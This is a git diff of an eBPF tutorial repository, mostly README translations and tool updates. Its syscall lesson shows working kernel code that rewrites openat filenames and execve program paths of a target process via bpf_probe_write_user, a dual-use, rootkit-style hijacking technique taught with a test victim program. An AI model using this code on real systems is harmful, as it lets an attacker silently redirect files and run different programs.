{ - warn("Could not find %s in %s\n", function, bin_path); - goto out_binary; - } + LIBBPF_OPTS(bpf_uprobe_opts, opts); + opts.func_name = function; + opts.retprobe = false; obj->links.dummy_kprobe = - bpf_program__attach_uprobe(obj->progs.dummy_kprobe, false, - env.pid ?: -1, bin_path, func_off); + bpf_program__attach_uprobe_opts(obj->progs.dummy_kprobe, + env.pid ?: -1, binary, 0, &opts); if (!obj->links.dummy_kprobe) { err = -errno; @@ -263,9 +255,11 @@ static int attach_uprobes(struct funclatency_bpf *obj) goto out_binary; } + opts.retprobe = true; + obj->links.dummy_kretprobe = - bpf_program__attach_uprobe(obj->progs.dummy_kretprobe, true, - env.pid ?: -1, bin_path, func_off); + bpf_program__attach_uprobe_opts(obj->progs.dummy_kretprobe, + env.pid ?: -1, binary, 0, &opts); if (!obj->links.dummy_kretprobe) { err = -errno; @@ -290,6 +284,10 @@ static void sig_hand(int signr) static struct sigaction sigact = {.sa_handler = sig_hand}; +#ifndef min +#define min(a,b) ((a) < (b) ? (a) : (b)) +#endif + static void print_stars(unsigned int val, unsigned int val_max, int width) { int num_stars, num_spaces, i; @@ -362,9 +360,7 @@ int main(int argc, char **argv) struct tm *tm; char ts[32]; time_t t; - int idx, cg_map_fd; int cgfd = -1; - bool used_fentry = false; err = argp_parse(&argp, argc, argv, 0, NULL, &env); if (err) @@ -439,7 +435,6 @@ int main(int argc, char **argv) cleanup: funclatency_bpf__destroy(obj); - cleanup_core_btf(&open_opts); if (cgfd > 0) close(cgfd); diff --git a/src/32-http2/funclatency.h b/src/33-funclatency/funclatency.h similarity index 100% rename from src/32-http2/funclatency.h rename to src/33-funclatency/funclatency.h diff --git a/src/34-syscall/.config b/src/34-syscall/.config new file mode 100644 index 00000000..b3a374b4 --- /dev/null +++ b/src/34-syscall/.config @@ -0,0 +1,2 @@ +level=Depth +type=Security diff --git a/src/34-syscall/README.md b/src/34-syscall/README.md index c2b63ab9..17ef9fa8 100644 --- a/src/34-syscall/README.md +++ b/src/34-syscall/README.md @@ -1,22 +1,23 @@ -# eBPF 开发实践:使用 eBPF 修改系统调用参数 +# eBPF Development Practice: Modifying System Call Arguments with eBPF -eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 +eBPF (Extended Berkeley Packet Filter) is a powerful feature in the Linux kernel that allows user-defined code to be run, loaded, and updated without the need to modify kernel source code or reboot the kernel. This functionality has enabled a wide range of applications for eBPF, such as network and system performance analysis, packet filtering, and security policies. -本教程介绍了如何使用 eBPF 修改正在进行的系统调用参数。这种技术可以用作安全审计、系统监视、或甚至恶意行为。然而需要特别注意,篡改系统调用参数可能对系统的稳定性和安全性带来负面影响,因此必须谨慎使用。实现这个功能需要使用到 eBPF 的 `bpf_probe_write_user` 功能,它可以修改用户空间的内存,因此能用来修改系统调用参数,在内核读取用户空间内存之前,将其修改为我们想要的值。 +In this tutorial, we will explore how to use eBPF to modify the arguments of a running system call. This technique can be used for security auditing, system monitoring, or even malicious behavior. However, it is important to note that modifying system call arguments can have negative implications for system stability and security, so caution must be exercised. To implement this functionality, we will use the `bpf_probe_write_user` feature of eBPF, which allows us to modify memory in the user space and therefore modify system call arguments before the kernel reads them from user space. -本文的完整代码可以在 找到。 -## 修改 open 系统调用的文件名 +> The complete source code: -此功能用于修改 `openat` 系统调用的参数,让它打开一个不同的文件。这个功能可能可以用于: +## Modifying the File Name of the `open` System Call -1. **文件访问审计**:在对法律合规性和数据安全性有严格要求的环境中,审计员可能需要记录所有对敏感文件的访问行为。通过修改 `openat` 系统调用参数,可以将所有尝试访问某个敏感文件的行为重定向到一个备份文件或者日志文件。 -2. **安全沙盒**:在开发早期阶段,可能希望监控应用程序尝试打开的文件。通过更改 `openat` 调用,可以让应用在一个安全的沙盒环境中运行,所有文件操作都被重定向到一个隔离的文件系统路径。 -3. **敏感数据保护**:对于存储有敏感信息的文件,例如配置文件中包含有数据库密码,一个基于 eBPF 的系统可以将这些调用重定向到一个加密的或暂存的位置,以增强数据安全性。 +This functionality is used to modify the arguments of the `openat` system call to open a different file. This technique can be useful for: -如果该技术被恶意软件利用,攻击者可以重定向文件操作,导致数据泄漏或者破坏数据完整性。例如,程序写入日志文件时,攻击者可能将数据重定向到控制的文件中,干扰审计跟踪。 +1. **File Access Auditing**: In environments with strict legal and data security requirements, auditors may need to record access to sensitive files. By modifying the `openat` system call arguments, all attempts to access a specific sensitive file can be redirected to a backup file or a log file. +2. **Secure Sandbox**: In the early stages of development, it may be desirable to monitor the files accessed by an application. By changing the `openat` calls, the application can be run in a secure sandbox environment where all file operations are redirected to an isolated file system path. +3. **Sensitive Data Protection**: For files containing sensitive information, such as a configuration file that contains database passwords, a eBPF-based system can redirect those calls to an encrypted or temporary location to enhance data security. -内核态代码(部分,完整内容请参考 Github bpf-developer-tutorial): +If leveraged by malicious software, this technique can be used to redirect file operations resulting in data leaks or compromise data integrity. For example, when a program is writing to a log file, an attacker could redirect the data to a controlled file, disrupting the audit trail. + +Kernel code (partial code, see complete code on Github bpf-developer-tutorial): ```c SEC("tracepoint/syscalls/sys_enter_openat") @@ -42,22 +43,22 @@ int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter *ctx } ``` -分析内核态代码: +Analysis of the kernel code: -- `bpf_get_current_pid_tgid()` 获取当前进程ID。 -- 如果指定了 `target_pid` 并且不匹配当前进程ID,函数直接返回。 -- 我们创建一个 `args_t` 结构来存储文件名和标志。 -- 使用 `bpf_probe_write_user` 修改用户空间内存中的文件名为 "hijacked"。 +- `bpf_get_current_pid_tgid()` retrieves the current process ID. +- If `target_pid` is specified and does not match the current process ID, the function returns 0 and does not execute further. +- We create an `args_t` structure to store the file name and flags. +- We use `bpf_probe_write_user` to modify the file name in the user space memory to "hijacked". -eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 +We use eunomia-bpf to compile and run this example. You can install it from . -编译: +Compile the code: ```bash ./ecc open_modify.bpf.c open_modify.h ``` -使用 make 构建一个简单的 victim 程序,用来测试: +Build a simple victim program using make for testing: ```c int main() @@ -88,7 +89,7 @@ int main() } ``` -测试代码编译并运行: +Compile and run the test code: ```sh $ ./victim @@ -98,13 +99,13 @@ Closing test.txt... test.txt closed ``` -可以使用以下命令指定应修改其 `openat` 系统调用参数的目标进程ID: +Use the following command to specify the target process ID to modify the `openat` system call arguments: ```bash sudo ./ecli run package.json --rewrite --target_pid=$(pidof victim) ``` -然后就会发现输出变成了 world,可以看到我们原先想要打开 "my_test.txt" 文件,但是实际上被劫持打开了 hijacked 文件: +You will see that the output changes to "world". Instead of opening the "my_test.txt" file, it opens the "hijacked" file: ```console test.txt opened, fd=3 @@ -121,11 +122,11 @@ test.txt opened, fd=3 read 5 bytes: world ``` -包含测试用例的完整代码可以在 找到。 +The complete code with test cases can be found in the repository. -## 修改 bash execve 的进程名称 +## Modifying the Process Name of bash `execve` -这段功能用于当 `execve` 系统调用进行时修改执行程序名称。在一些审计或监控场景,这可能用于记录特定进程的行为或修改其行为。然而,此类篡改可能会造成混淆,使得用户或管理员难以确定系统实际执行的程序是什么。最严重的风险是,如果恶意用户能够控制 eBPF 程序,他们可以将合法的系统命令重定向到恶意软件,造成严重的安全威胁。 +This functionality is used to modify the program name when the `execve` system call is made. In certain auditing or monitoring scenarios, this may be used to track the behavior of specific processes or modify their behavior. However, such modifications can lead to confusion and make it difficult for users or administrators to determine the actual program being executed by the system. The most serious risk is that if malicious users are able to control the eBPF program, they could redirect legitimate system commands to malicious software, resulting in a significant security threat. ```c SEC("tp/syscalls/sys_enter_execve") @@ -180,22 +181,20 @@ int handle_execve_enter(struct trace_event_raw_sys_enter *ctx) } ``` -分析内核态代码: +Analysis of the kernel code: -- 执行 `bpf_get_current_pid_tgid` 获取当前进程ID和线程组ID。 -- 如果设置了 `target_ppid`,代码会检查当前进程的父进程ID是否匹配。 -- 读取第一个 `execve` 参数到 `prog_name`,这通常是将要执行的程序的路径。 -- 通过 `bpf_probe_write_user` 重写这个参数,使得系统实际执行的是一个不同的程序。 +- Execute `bpf_get_current_pid_tgid` to get the current process ID and thread group ID. +- If `target_ppid` is set, the code checks if the current process's parent process ID matches. +- Read the program name from the first argument of `execve`. +- Use `bpf_probe_write_user` to overwrite the argument with a hijacked binary path. -这种做法的风险在于它可以被用于劫持软件的行为,导致系统运行恶意代码。同样也可以使用 ecc 和 ecli 编译运行: +This approach poses a risk as it can be leveraged to hijack the behavior of software, resulting in the execution of malicious code on the system. Using ecc and ecli to compile and run: ```bash ./ecc exechijack.bpf.c exechijack.h sudo ./ecli run package.json ``` -## 总结 - -eBPF 提供了强大的能力来实现对正在运行的系统进行实时监控和干预。在合适的监管和安全策略配合下,这可以带来诸多好处,如安全增强、性能优化和运维便利。然而,这项技术的使用必须非常小心,因为错误的操作或滥用可能会对系统的正常运作造成破坏或者引发严重的安全事件。实践中,应确保只有授权用户和程序能够部署和管理 eBPF 程序,并且应当在隔离的测试环境中验证这些eBPF程序的行为,在充分理解其影响后才能将其应用到生产环境中。 +## Conclusion -您还可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +eBPF provides powerful capabilities for real-time monitoring and intervention in running systems. When used in conjunction with appropriate governance and security policies, this can bring many benefits such as enhanced security, performance optimization, and operational convenience. However, this technology must be used with great care as incorrect operations or misuse can result in system disruption or serious security incidents. In practice, it should be ensured that only authorized users and programs can deploy and manage eBPF programs, and their behavior should be validated in isolated test environments before they are applied in production. diff --git a/src/34-syscall/README.zh.md b/src/34-syscall/README.zh.md new file mode 100644 index 00000000..c2b63ab9 --- /dev/null +++ b/src/34-syscall/README.zh.md @@ -0,0 +1,201 @@ +# eBPF 开发实践:使用 eBPF 修改系统调用参数 + +eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 + +本教程介绍了如何使用 eBPF 修改正在进行的系统调用参数。这种技术可以用作安全审计、系统监视、或甚至恶意行为。然而需要特别注意,篡改系统调用参数可能对系统的稳定性和安全性带来负面影响,因此必须谨慎使用。实现这个功能需要使用到 eBPF 的 `bpf_probe_write_user` 功能,它可以修改用户空间的内存,因此能用来修改系统调用参数,在内核读取用户空间内存之前,将其修改为我们想要的值。 + +本文的完整代码可以在 找到。 + +## 修改 open 系统调用的文件名 + +此功能用于修改 `openat` 系统调用的参数,让它打开一个不同的文件。这个功能可能可以用于: + +1. **文件访问审计**:在对法律合规性和数据安全性有严格要求的环境中,审计员可能需要记录所有对敏感文件的访问行为。通过修改 `openat` 系统调用参数,可以将所有尝试访问某个敏感文件的行为重定向到一个备份文件或者日志文件。 +2. **安全沙盒**:在开发早期阶段,可能希望监控应用程序尝试打开的文件。通过更改 `openat` 调用,可以让应用在一个安全的沙盒环境中运行,所有文件操作都被重定向到一个隔离的文件系统路径。 +3. **敏感数据保护**:对于存储有敏感信息的文件,例如配置文件中包含有数据库密码,一个基于 eBPF 的系统可以将这些调用重定向到一个加密的或暂存的位置,以增强数据安全性。 + +如果该技术被恶意软件利用,攻击者可以重定向文件操作,导致数据泄漏或者破坏数据完整性。例如,程序写入日志文件时,攻击者可能将数据重定向到控制的文件中,干扰审计跟踪。 + +内核态代码(部分,完整内容请参考 Github bpf-developer-tutorial): + +```c +SEC("tracepoint/syscalls/sys_enter_openat") +int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter *ctx) +{ + u64 pid = bpf_get_current_pid_tgid() >> 32; + /* use kernel terminology here for tgid/pid: */ + if (target_pid && pid != target_pid) { + return 0; + } + /* store arg info for later lookup */ + // since we can manually specify the attach process in userspace, + // we don't need to check the process allowed here + + struct args_t args = {}; + args.fname = (const char *)ctx->args[1]; + args.flags = (int)ctx->args[2]; + if (rewrite) { + bpf_probe_write_user((char*)ctx->args[1], "hijacked", 9); + } + bpf_map_update_elem(&start, &pid, &args, 0); + return 0; +} +``` + +分析内核态代码: + +- `bpf_get_current_pid_tgid()` 获取当前进程ID。 +- 如果指定了 `target_pid` 并且不匹配当前进程ID,函数直接返回。 +- 我们创建一个 `args_t` 结构来存储文件名和标志。 +- 使用 `bpf_probe_write_user` 修改用户空间内存中的文件名为 "hijacked"。 + +eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 + +编译: + +```bash +./ecc open_modify.bpf.c open_modify.h +``` + +使用 make 构建一个简单的 victim 程序,用来测试: + +```c +int main() +{ + char filename[100] = "my_test.txt"; + // print pid + int pid = getpid(); + std::cout << "current pid: " << pid << std::endl; + system("echo \"hello\" > my_test.txt"); + system("echo \"world\" >> hijacked"); + while (true) { + std::cout << "Opening my_test.txt" << std::endl; + + int fd = open(filename, O_RDONLY); + assert(fd != -1); + + std::cout << "test.txt opened, fd=" << fd << std::endl; + usleep(1000 * 300); + // print the file content + char buf[100] = {0}; + int ret = read(fd, buf, 5); + std::cout << "read " << ret << " bytes: " << buf << std::endl; + std::cout << "Closing test.txt..." << std::endl; + close(fd); + std::cout << "test.txt closed" << std::endl; + } + return 0; +} +``` + +测试代码编译并运行: + +```sh +$ ./victim +test.txt opened, fd=3 +read 5 bytes: hello +Closing test.txt... +test.txt closed +``` + +可以使用以下命令指定应修改其 `openat` 系统调用参数的目标进程ID: + +```bash +sudo ./ecli run package.json --rewrite --target_pid=$(pidof victim) +``` + +然后就会发现输出变成了 world,可以看到我们原先想要打开 "my_test.txt" 文件,但是实际上被劫持打开了 hijacked 文件: + +```console +test.txt opened, fd=3 +read 5 bytes: hello +Closing test.txt... +test.txt closed +Opening my_test.txt +test.txt opened, fd=3 +read 5 bytes: world +Closing test.txt... +test.txt closed +Opening my_test.txt +test.txt opened, fd=3 +read 5 bytes: world +``` + +包含测试用例的完整代码可以在 找到。 + +## 修改 bash execve 的进程名称 + +这段功能用于当 `execve` 系统调用进行时修改执行程序名称。在一些审计或监控场景,这可能用于记录特定进程的行为或修改其行为。然而,此类篡改可能会造成混淆,使得用户或管理员难以确定系统实际执行的程序是什么。最严重的风险是,如果恶意用户能够控制 eBPF 程序,他们可以将合法的系统命令重定向到恶意软件,造成严重的安全威胁。 + +```c +SEC("tp/syscalls/sys_enter_execve") +int handle_execve_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + // Check if we're a process of interest + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // Read in program from first arg of execve + char prog_name[TASK_COMM_LEN]; + char prog_name_orig[TASK_COMM_LEN]; + __builtin_memset(prog_name, '\x00', TASK_COMM_LEN); + bpf_probe_read_user(&prog_name, TASK_COMM_LEN, (void*)ctx->args[0]); + bpf_probe_read_user(&prog_name_orig, TASK_COMM_LEN, (void*)ctx->args[0]); + prog_name[TASK_COMM_LEN-1] = '\x00'; + bpf_printk("[EXECVE_HIJACK] %s\n", prog_name); + + // Program can't be less than out two-char name + if (prog_name[1] == '\x00') { + bpf_printk("[EXECVE_HIJACK] program name too small\n"); + return 0; + } + + // Attempt to overwrite with hijacked binary path + prog_name[0] = '/'; + prog_name[1] = 'a'; + for (int i = 2; i < TASK_COMM_LEN ; i++) { + prog_name[i] = '\x00'; + } + long ret = bpf_probe_write_user((void*)ctx->args[0], &prog_name, 3); + + // Send an event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = (pid_tgid >> 32); + for (int i = 0; i < TASK_COMM_LEN; i++) { + e->comm[i] = prog_name_orig[i]; + } + bpf_ringbuf_submit(e, 0); + } + + return 0; +} +``` + +分析内核态代码: + +- 执行 `bpf_get_current_pid_tgid` 获取当前进程ID和线程组ID。 +- 如果设置了 `target_ppid`,代码会检查当前进程的父进程ID是否匹配。 +- 读取第一个 `execve` 参数到 `prog_name`,这通常是将要执行的程序的路径。 +- 通过 `bpf_probe_write_user` 重写这个参数,使得系统实际执行的是一个不同的程序。 + +这种做法的风险在于它可以被用于劫持软件的行为,导致系统运行恶意代码。同样也可以使用 ecc 和 ecli 编译运行: + +```bash +./ecc exechijack.bpf.c exechijack.h +sudo ./ecli run package.json +``` + +## 总结 + +eBPF 提供了强大的能力来实现对正在运行的系统进行实时监控和干预。在合适的监管和安全策略配合下,这可以带来诸多好处,如安全增强、性能优化和运维便利。然而,这项技术的使用必须非常小心,因为错误的操作或滥用可能会对系统的正常运作造成破坏或者引发严重的安全事件。实践中,应确保只有授权用户和程序能够部署和管理 eBPF 程序,并且应当在隔离的测试环境中验证这些eBPF程序的行为,在充分理解其影响后才能将其应用到生产环境中。 + +您还可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/34-syscall/README_en.md b/src/34-syscall/README_en.md deleted file mode 100644 index e64e5f5c..00000000 --- a/src/34-syscall/README_en.md +++ /dev/null @@ -1,199 +0,0 @@ -# eBPF Development Practice: Modifying System Call Arguments with eBPF - -eBPF (Extended Berkeley Packet Filter) is a powerful feature in the Linux kernel that allows user-defined code to be run, loaded, and updated without the need to modify kernel source code or reboot the kernel. This functionality has enabled a wide range of applications for eBPF, such as network and system performance analysis, packet filtering, and security policies. - -In this tutorial, we will explore how to use eBPF to modify the arguments of a running system call. This technique can be used for security auditing, system monitoring, or even malicious behavior. However, it is important to note that modifying system call arguments can have negative implications for system stability and security, so caution must be exercised. To implement this functionality, we will use the `bpf_probe_write_user` feature of eBPF, which allows us to modify memory in the user space and therefore modify system call arguments before the kernel reads them from user space. - -The complete code for this tutorial can be found in the repository on GitHub. - -## Modifying the File Name of the `open` System Call - -This functionality is used to modify the arguments of the `openat` system call to open a different file. This technique can be useful for: - -1. **File Access Auditing**: In environments with strict legal and data security requirements, auditors may need to record access to sensitive files. By modifying the `openat` system call arguments, all attempts to access a specific sensitive file can be redirected to a backup file or a log file. -2. **Secure Sandbox**: In the early stages of development, it may be desirable to monitor the files accessed by an application. By changing the `openat` calls, the application can be run in a secure sandbox environment where all file operations are redirected to an isolated file system path. -3. **Sensitive Data Protection**: For files containing sensitive information, such as a configuration file that contains database passwords, a eBPF-based system can redirect those calls to an encrypted or temporary location to enhance data security. - -If leveraged by malicious software, this technique can be used to redirect file operations resulting in data leaks or compromise data integrity. For example, when a program is writing to a log file, an attacker could redirect the data to a controlled file, disrupting the audit trail. - -Kernel code (partial code, see complete code on Github bpf-developer-tutorial): - -```c -SEC("tracepoint/syscalls/sys_enter_openat") -int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter *ctx) -{ - u64 pid = bpf_get_current_pid_tgid() >> 32; - /* use kernel terminology here for tgid/pid: */ - if (target_pid && pid != target_pid) { - return 0; - } - /* store arg info for later lookup */ - // since we can manually specify the attach process in userspace, - // we don't need to check the process allowed here - - struct args_t args = {}; - args.fname = (const char *)ctx->args[1]; - args.flags = (int)ctx->args[2]; - if (rewrite) { - bpf_probe_write_user((char*)ctx->args[1], "hijacked", 9); - } - bpf_map_update_elem(&start, &pid, &args, 0); - return 0; -} -``` - -Analysis of the kernel code: - -- `bpf_get_current_pid_tgid()` retrieves the current process ID. -- If `target_pid` is specified and does not match the current process ID, the function returns 0 and does not execute further. -- We create an `args_t` structure to store the file name and flags. -- We use `bpf_probe_write_user` to modify the file name in the user space memory to "hijacked". - -The `eunomia-bpf` is an open-source eBPF dynamic loading runtime and development toolchain aimed at making eBPF program development, building, distribution, and execution easier. You can refer to or for installing ecc compiler toolchain and ecli runtime. We will use `eunomia-bpf` to compile and run this example. - -Compile the code: - -```bash -./ecc open_modify.bpf.c open_modify.h -``` - -Build a simple victim program using make for testing: - -```c -int main() -{ - char filename[100] = "my_test.txt"; - // print pid - int pid = getpid(); - std::cout << "current pid: " << pid << std::endl; - system("echo \"hello\" > my_test.txt"); - system("echo \"world\" >> hijacked"); - while (true) { - std::cout << "Opening my_test.txt" << std::endl; - - int fd = open(filename, O_RDONLY); - assert(fd != -1); - - std::cout << "test.txt opened, fd=" << fd << std::endl; - usleep(1000 * 300); - // print the file content - char buf[100] = {0}; - int ret = read(fd, buf, 5); - std::cout << "read " << ret << " bytes: " << buf << std::endl; - std::cout << "Closing test.txt..." << std::endl; - close(fd); - std::cout << "test.txt closed" << std::endl; - } - return 0; -} -``` - -Compile and run the test code: - -```sh -$ ./victim -test.txt opened, fd=3 -read 5 bytes: hello -Closing test.txt... -test.txt closed -``` - -Use the following command to specify the target process ID to modify the `openat` system call arguments: - -```bash -sudo ./ecli run package.json --rewrite --target_pid=$(pidof victim) -``` - -You will see that the output changes to "world". Instead of opening the "my_test.txt" file, it opens the "hijacked" file: - -```console -test.txt opened, fd=3 -read 5 bytes: hello -Closing test.txt... -test.txt closed -Opening my_test.txt -test.txt opened, fd=3 -read 5 bytes: world -Closing test.txt... -test.txt closed -Opening my_test.txt -test.txt opened, fd=3 -read 5 bytes: world -``` - -The complete code with test cases can be found in the repository. - -## Modifying the Process Name of bash `execve` - -This functionality is used to modify the program name when the `execve` system call is made. In certain auditing or monitoring scenarios, this may be used to track the behavior of specific processes or modify their behavior. However, such modifications can lead to confusion and make it difficult for users or administrators to determine the actual program being executed by the system. The most serious risk is that if malicious users are able to control the eBPF program, they could redirect legitimate system commands to malicious software, resulting in a significant security threat. - -```c -SEC("tp/syscalls/sys_enter_execve") -int handle_execve_enter(struct trace_event_raw_sys_enter *ctx) -{ - size_t pid_tgid = bpf_get_current_pid_tgid(); - // Check if we're a process of interest - if (target_ppid != 0) { - struct task_struct *task = (struct task_struct *)bpf_get_current_task(); - int ppid = BPF_CORE_READ(task, real_parent, tgid); - if (ppid != target_ppid) { - return 0; - } - } - - // Read in program from first arg of execve - char prog_name[TASK_COMM_LEN]; - char prog_name_orig[TASK_COMM_LEN]; - __builtin_memset(prog_name, '\x00', TASK_COMM_LEN); - bpf_probe_read_user(&prog_name, TASK_COMM_LEN, (void*)ctx->args[0]); - bpf_probe_read_user(&prog_name_orig, TASK_COMM_LEN, (void*)ctx->args[0]); - prog_name[TASK_COMM_LEN-1] = '\x00'; - bpf_printk("[EXECVE_HIJACK] %s\n", prog_name); - - // Program can't be less than out two-char name - if (prog_name[1] == '\x00') { - bpf_printk("[EXECVE_HIJACK] program name too small\n"); - return 0; - } - - // Attempt to overwrite with hijacked binary path - prog_name[0] = '/'; - prog_name[1] = 'a'; - for (int i = 2; i < TASK_COMM_LEN ; i++) { - prog_name[i] = '\x00'; - } - long ret = bpf_probe_write_user((void*)ctx->args[0], &prog_name, 3); - - // Send an event - struct event *e; - e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); - if (e) { - e->success = (ret == 0); - e->pid = (pid_tgid >> 32); - for (int i = 0; i < TASK_COMM_LEN; i++) { - e->comm[i] = prog_name_orig[i]; - } - bpf_ringbuf_submit(e, 0); - } - - return 0; -} -``` - -Analysis of the kernel code: - -- Execute `bpf_get_current_pid_tgid` to get the current process ID and thread group ID. -- If `target_ppid` is set, the code checks if the current process's parent process ID matches. -- Read the program name from the first argument of `execve`. -- Use `bpf_probe_write_user` to overwrite the argument with a hijacked binary path. - -This approach poses a risk as it can be leveraged to hijack the behavior of software, resulting in the execution of malicious code on the system. Using ecc and ecli to compile and run: - -```bash -./ecc exechijack.bpf.c exechijack.h -sudo ./ecli run package.json -``` - -## Conclusion - -eBPF provides powerful capabilities for real-time monitoring and intervention in running systems. When used in conjunction with appropriate governance and security policies, this can bring many benefits such as enhanced security, performance optimization, and operational convenience. However, this technology must be used with great care as incorrect operations or misuse can result in system disruption or serious security incidents. In practice, it should be ensured that only authorized users and programs can deploy and manage eBPF programs, and their behavior should be validated in isolated test environments before they are applied in production. diff --git a/src/35-user-ringbuf/.config b/src/35-user-ringbuf/.config new file mode 100644 index 00000000..73992da3 --- /dev/null +++ b/src/35-user-ringbuf/.config @@ -0,0 +1,2 @@ +level=Depth +type=Features diff --git a/src/35-user-ringbuf/README.md b/src/35-user-ringbuf/README.md index 85affedc..850f7f45 100644 --- a/src/35-user-ringbuf/README.md +++ b/src/35-user-ringbuf/README.md @@ -1,42 +1,44 @@ -# eBPF开发实践:使用 user ring buffer 向内核异步发送信息 +# eBPF Development Practices: Asynchronously Send to Kernel with User Ring Buffer -eBPF,即扩展的Berkeley包过滤器(Extended Berkeley Packet Filter),是Linux内核中的一种革命性技术,它允许开发者在内核态中运行自定义的“微程序”,从而在不修改内核代码的情况下改变系统行为或收集系统细粒度的性能数据。 +eBPF, or Extended Berkeley Packet Filter, is a revolutionary technology in the Linux kernel that allows developers to run custom "micro programs" in kernel mode, thereby changing system behavior or collecting fine-grained performance data without modifying kernel code. -eBPF的一个独特之处是它不仅可以在内核态运行程序,从而访问系统底层的状态和资源,同时也可以通过特殊的数据结构与用户态程序进行通信。关于这方面的一个重要概念就是内核态和用户态之间的环形队列——ring buffer。在许多实时或高性能要求的应用中,环形队列是一种常用的数据结构。由于它的FIFO(先进先出)特性,使得数据在生产者和消费者之间可以持续、线性地流动,从而避免了频繁的IO操作和不必要的内存 reallocation开销。 +One unique aspect of eBPF is that it not only allows programs to run in kernel mode to access low-level system states and resources, but it can also communicate with user mode programs through special data structures. One important concept in this regard is the ring buffer between kernel mode and user mode. In many real-time or high-performance applications, the ring buffer is a commonly used data structure. Due to its FIFO (first in, first out) characteristics, data can flow continuously and linearly between the producer and the consumer, avoiding frequent IO operations and unnecessary memory reallocation overhead. -在eBPF中,分别提供了两种环形队列: user ring buffer 和 kernel ring buffer,以实现用户态和内核态之间的高效数据通信。本文是 eBPF 开发者教程的一部分,更详细的内容可以在这里找到: 源代码在 [GitHub 仓库](https://github.com/eunomia-bpf/bpf-developer-tutorial) 中开源。 +In eBPF, two types of ring buffers are provided: user ring buffer and kernel ring buffer, to achieve efficient data communication between user mode and kernel mode. This article is part of the eBPF developer tutorial. More detailed content can be found here: -## 用户态和内核态环形队列—user ring buffer和kernel ring buffer +> The complete source code: -围绕内核态和用户态这两个主要运行级别,eBPF提供了两种相应的环形队列数据结构:用户态环形队列——User ring buffer和内核态环形队列——Kernel ring buffer。 +## User mode and kernel mode ring buffers—user ring buffer and kernel ring buffer -Kernel ring buffer 则由 eBPF实现,专为Linux内核设计,用于追踪和记录内核日志、性能统计信息等,它的能力是内核态和用户态数据传输的核心,可以从内核态向用户态传送数据。Kernel ring buffer 在 5.7 版本的内核中被引入,目前已经被广泛应用于内核日志系统、性能分析工具等。 +Around the two main run levels of kernel mode and user mode, eBPF provides two corresponding ring buffer data structures: User ring buffer and Kernel ring buffer. -对于内核态往用户态发送应用场景,如内核监控事件的发送、异步通知、状态更新通知等,ring buffer 数据结构都能够胜任。比如,当我们需要监听网络服务程序的大量端口状态时,这些端口的开启、关闭、错误等状态更新就需由内核实时传递到用户空间进行处理。而Linux 内核的日志系统、性能分析工具等,也需要频繁地将大量数据发送到用户空间,以支持用户人性化地展示和分析这些数据。在这些场景中,ring buffer在内核态往用户态发送数据中表现出了极高的效率。 +Kernel ring buffer is implemented by eBPF and is specially designed for the Linux kernel to track and record kernel logs, performance statistics, etc. It is the core of data transfer from kernel mode to user mode and can send data from kernel mode to user mode. Kernel ring buffer was introduced in the 5.7 version of the kernel and is now widely used in the kernel logging system, performance analysis tools, etc. -User ring buffer 是基于环形缓冲器的一种新型 Map 类型,它提供了单用户空间生产者/单内核消费者的语义。这种环形队列的优点是对异步消息传递提供了优秀的支持,避免了不必要的同步操作,使得内核到用户空间的数据传输可以被优化,并且降低了系统调用的系统开销。User ring buffer 在 6.1 版本的内核中被引入,目前的使用场景相对较少。 +For scenarios where the kernel sends to user mode, such as sending kernel monitoring events, asynchronous notifications, status update notifications, etc., the ring buffer data structure can handle them. For example, when we need to monitor the status of a large number of ports of network service programs, the opening, closing, errors, and other status updates of these ports need to be real-time transferred to the user space for processing. Linux kernel's logging system, performance analysis tools, etc., also need to frequently send large amounts of data to user space to support user-friendly display and analysis of these data. In these scenarios, the ring buffer shows extremely high efficiency in sending data from the kernel to the user. -bpftime 是一个用户空间 eBPF 运行时,允许现有 eBPF 应用程序在非特权用户空间使用相同的库和工具链运行。它为 eBPF 提供了 Uprobe 和 Syscall 跟踪点,与内核 Uprobe 相比,性能有了显著提高,而且无需手动检测代码或重启进程。运行时支持用户空间共享内存中的进程间 eBPF 映射,也兼容内核 eBPF 映射,允许与内核 eBPF 基础架构无缝运行。它包括一个适用于各种架构的高性能 LLVM JIT,以及一个适用于 x86 的轻量级 JIT 和一个解释器。GitHub 地址: +User ring buffer is a new type of Map type based on the ring buffer, it provides the semantics of a single user space producer/single kernel consumer. The advantage of this ring buffer is that it provides excellent support for asynchronous message passing, avoiding unnecessary synchronization operations, optimizing data transfer from the kernel to user space, and reducing the system overhead of system calls. User ring buffer was introduced in the 6.1 version of the kernel and its current use cases are relatively limited. -在 bpftime 中,我们使用 user ring buffer 来实现用户态 eBPF 往内核态 eBPF 发送数据,并更新内核态 eBPF 对应的 maps,让内核态和用户态的 eBPF 一起协同工作。user ring buffer 的异步特性,可以避免系统调用不必要的同步操作,从而提高了内核态和用户态之间的数据传输效率。 +bpftime is a user space eBPF runtime that allows existing eBPF applications to run in unprivileged user space using the same 